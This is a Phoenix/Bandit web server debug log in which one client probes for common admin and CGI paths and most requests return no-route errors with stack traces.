    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:12.118000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43462] GET /fortisandbox/
[Thu Sep  3 08:16:12.146000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43462] ** (Phoenix.Router.NoRouteError) no route found for GET /fortisandbox (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:14.724000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:16:15.471000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48860] GET /cgi-bin/clwarn.cgi
[Thu Sep  3 08:16:15.483000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48860] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/clwarn.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:22.182000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48874] GET /cgi-bin/count.cgi
[Thu Sep  3 08:16:22.196000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48874] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/count.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1935.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 08:16:25.626000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36516] GET /
[Thu Sep  3 08:16:25.626000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:36516] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:16:25.627000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36516] Sent 200 in 1ms
[Thu Sep  3 08:16:26.314000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36532] GET /f360/login.jsp
[Thu Sep  3 08:16:26.333000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36532] ** (Phoenix.Router.NoRouteError) no route found for GET /f360/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:26.927000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36544] GET //login.jsp
[Thu Sep  3 08:16:26.947000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36544] ** (Phoenix.Router.NoRouteError) no route found for GET /login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:27.875000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36554] GET /cgi-bin/Count.cgi
[Thu Sep  3 08:16:27.891000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36554] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/Count.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:32.652000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36568] GET /login/
[Thu Sep  3 08:16:32.687000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36568] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:33.493000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42358] GET /cgi-bin/faqmanager.cgi
[Thu Sep  3 08:16:33.514000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42358] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/faqmanager.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:33.738000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36584] GET /system/console
[Thu Sep  3 08:16:33.767000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36584] ** (Phoenix.Router.NoRouteError) no route found for GET /system/console (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:34.382000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42366] GET /images/login_top.gif
[Thu Sep  3 08:16:34.404000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42366] ** (Phoenix.Router.NoRouteError) no route found for GET /images/login_top.gif (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:35.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42376] GET /images/logon_merge.gif
[Thu Sep  3 08:16:35.094000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42376] ** (Phoenix.Router.NoRouteError) no route found for GET /images/logon_merge.gif (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:35.697000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42380] GET /login
[Thu Sep  3 08:16:35.717000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42380] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:36.377000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42392] GET /431cb5237001e73e794398e4fa3cf660/css/main-green.css
[Thu Sep  3 08:16:36.405000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42392] ** (Phoenix.Router.NoRouteError) no route found for GET /431cb5237001e73e794398e4fa3cf660/css/main-green.css (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:38.641000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:16:39.129000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42436] GET /cgi-bin/FormHandler.cgi
[Thu Sep  3 08:16:39.143000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42436] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/FormHandler.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:16:41.878000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42446] GET /features
[Thu Sep  3 08:16:41.888000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42446] ** (Phoenix.Router.NoRouteError) no route found for GET /features (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

